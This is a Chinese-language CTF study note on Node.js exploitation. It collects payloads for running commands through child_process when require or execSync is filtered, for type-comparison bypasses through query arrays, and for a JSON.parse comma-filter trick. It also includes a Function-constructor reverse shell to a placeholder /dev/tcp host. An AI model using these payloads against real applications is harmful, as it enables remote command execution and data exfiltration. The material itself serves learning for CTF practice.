require绕过

这两天刚开始学nodejs,已知require('child_process').exeSync('ls')是用来执行指令的,但有时候require并不存在上下文,也就是说require有可能并没有被定义

所以就会用global.process.mainModule.constructor._load('child_process').execSync('uname -a')替代require

execSync绕过

有好几种方法

  • 方法一:函数平替

其中execFileSync只能执行ls之类,他cat不了文件

  • 方法二:数组绕过

直接看payload

//注意这里连接require方法和execSync属性之间没有'.'
require('child_process')['e'%2b'xecSync']('cat f*')
  • 方法三:fs模块
//列出当前目录下的文件
require('fs').readdirSync('./')
//直接读文件
require('fs').readFileSync('fl001g.txt','utf-8')

__filename

js中用来返回当前模块文件的绝对路径

js类型比较

先看实例代码

为了拿到flag就必须满足a和b长度一致,a输出结果和b不相等,a和flag相加与b和flag相加相等三个条件。

有三种方法

第一种是a[]=1&b[]=1。这里的原理和php中不一样,这是js中!==这一运算符(也叫”严格不相等“)的特性([参考链接](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Operators/Strict_inequality#%E7%A4%BA%E4%BE%8B)),在比较对象时不管传入的值是什么他们总是不相等的

之后来到后面的md5中与字符串相加,结果都是[Object object]flag,因此通过

第二种方法的原理和上面一样,payload是??a[a]=1&b[b]=1

第三种是?a[1]=1&b=1,这种方法能行的原因是,在req.query接受到a[1]是,会将它当成一个数组,也就是a=[1],此时a的类型是object,和b的number不一致,所以严格比较通过。在md5中a直接与字符串相加时,会把数组中的默认下标为0的值与字符串相加,此时就会得到1flag。b就更是1flag了,因此通过

Function函数

在nodejs中,这个函数可以拥有和eval()一样的利用价值,具体可以看下面这个例子(参考链接

也就是他的参数可以是一个return并被执行,所以就可以构造成

return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"')

这里需要注意,Function环境下没有require函数,不能获得child_process模块,我们可以通过使用process.mainModule.constructor._load来代替require。并且,由于return并不能回显,只有执行的能力,因此一般会选择用curl外带或者直接反弹shell

js get传值特性

router.get('/', function(req, res, next) {
    res.type('html');
    var flag = 'flag_here';
    console.log(req.url)
    if(req.url.match(/8c|2c|\,/ig)){
        res.end('111where is flag :)');
    }
    var query = JSON.parse(req.query.query);
    if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
        res.end(flag);
    }else{
        res.end('222where is flag. :)');
    }

});

在这段代码里,req.url会把传进来的值都过滤一遍。先来看看payload

?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

node.js处理req.query.query的时候,它不像php那样,后面get传的query值会覆盖前面的,而是会把这些值都放进一个数组中。而JSON.parse会把数组中的字符串都拼接到一起,再看满不满足格式,满足就进行解析,因此这样分开来传就可以绕过逗号了

至于c那个之所以要再进行url编码成%63,就是因为前面的%22,会造成%22c,正好ban了2c,所以c也需要进行url编码